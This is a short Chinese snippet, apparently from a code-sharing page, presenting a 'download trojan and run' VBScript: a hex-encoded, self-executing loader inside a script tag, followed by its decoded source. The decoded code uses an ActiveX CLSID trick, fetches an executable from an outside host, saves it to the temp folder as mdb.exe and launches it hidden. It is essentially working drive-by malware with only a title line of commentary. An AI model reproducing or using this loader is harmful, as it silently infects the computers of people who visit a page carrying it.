一个收集的下载木马并运行的VBS代码
<script language="VBScript">
S="2020206F6E206572726F7220726573756D65206E6578740D0A737
3733D226D64622E657865220D0A61613D226F62220D0A6161613D22
6A65220D0A616161613D226374220D0A61616161613D22636C61220
D0A6161616161613D2273736964220D0A616161616161613D22636C
73220D0A61616161616161613D2269643A42443936220D0A6161616
161616161613D22433535362D3635220D0A61616161616161616161
3D2241332D313144220D0A61616161616161616161613D22302D393
8220D0A6161616161616161616161613D2233412D30304330344622
0D0A616161616161616161616161613D22433239453336220D0A6D6
D3D224D6963220D0A6E6E3D22726F73220D0A6D6D6E6E3D226F6674
2E58220D0A6E6E6D6D3D224D4C48220D0A6D6E6D6E3D22545450220
D0A6E6D3D6D6E0D0A62623D224164220D0A6262623D226F64220D0A
626262623D22622E5374220D0A62626262623D227265616D220D0A6
7673D2267220D0A65653D2265220D0A74743D2274220D0A63633D22
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D22656374220D0A68683D22536865220D0A6868683D226C6C2E4170
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D0A6868686868683D226F6E220D0A6F6F3D226F220D0A6F6F6F3D227
065220D0A6F6F6F6F3D226E220D0A536574207878787878787878203
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62757465206161616161266161616161612C20616161616161612661
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26616161616161616161616126616161616161616161616161266161
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8787878787878290D0A20202020787878782E6F70656E0D0A2020202
0787878782E7772697465207878787878782E726573706F6E7365426
F64790D0A20202020787878782E73617665746F66696C65207878787
87878782C320D0A20202020787878782E636C6F73650D0A20202020
73657420717171203D2078787878787878782E6372656174656F626A
65637428686826686868266868686826686868686826686868686868
2C2222290D0A202020207171712E5368656C6C45786563757465207
87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D
="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMER
IC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEF
T(S,4)&N:S=MID(S,5)
LOOP:EXECUTE D
</script>
解密后:
代码如下:
on error resume next
sss="mdb.exe"
aa="ob"
aaa="je"
aaaa="ct"
aaaaa="cla"
aaaaaa="ssid"
aaaaaaa="cls"
aaaaaaaa="id:BD96"
aaaaaaaaa="C556-65"
aaaaaaaaaa="A3-11D"
aaaaaaaaaaa="0-98"
aaaaaaaaaaaa="3A-00C04F"
aaaaaaaaaaaaa="C29E36"
mm="Mic"
nn="ros"
mmnn="oft.X"
nnmm="MLH"
mnmn="TTP"
nm=mn
bb="Ad"
bbb="od"
bbbb="b.St"
bbbbb="ream"
gg="g"
ee="e"
tt="t"
cc="Scr"
ccc="ipt"
cccc="ing.F"
cc1="ileS"
ccc1="yst"
cccc1="emO"
cc2="bj"
ccc2="ect"
hh="She"
hhh="ll.Ap"
hhhh="pli"
hhhhh="cati"
hhhhhh="on"
oo="o"
ooo="pe"
oooo="n"
Set xxxxxxxx = document.createElement(aa&aaa&aaaa)
xxxxxxxx.setAttribute aaaaa&aaaaaa, aaaaaaa&aaaaaaaa&aaaaaaaaa&aaaaaaaaaa&aaaaaaaaaaa&aaaaaaaaaaaa&aaaaaaaaaaaaa
Set xxxxxx = xxxxxxxx.CreateObject(mm&nn&mmnn&nnmm&mnmn,"")
set xxxx = xxxxxxxx.createobject(bb&bbb&bbbb&bbbbb,"")
xxxx.type = 1
xxxxxx.Open gg&ee&tt, "http://qq.ee28.cn/down/down.exe", False
xxxxxx.Send
xxxxxxx=sss
set xxxxx = xxxxxxxx.createobject(cc&ccc&cccc&cc1&ccc1&cccc1&cc2&ccc2,"")
set tmp = xxxxx.GetSpecialFolder(2)
xxxxxxx= xxxxx.BuildPath(tmp,xxxxxxx)
xxxx.open
xxxx.write xxxxxx.responseBody
xxxx.savetofile xxxxxxx,2
xxxx.close
set qqq = xxxxxxxx.createobject(hh&hhh&hhhh&hhhhh&hhhhhh,"")
qqq.ShellExecute xxxxxxx,"","",oo&ooo&oooo,0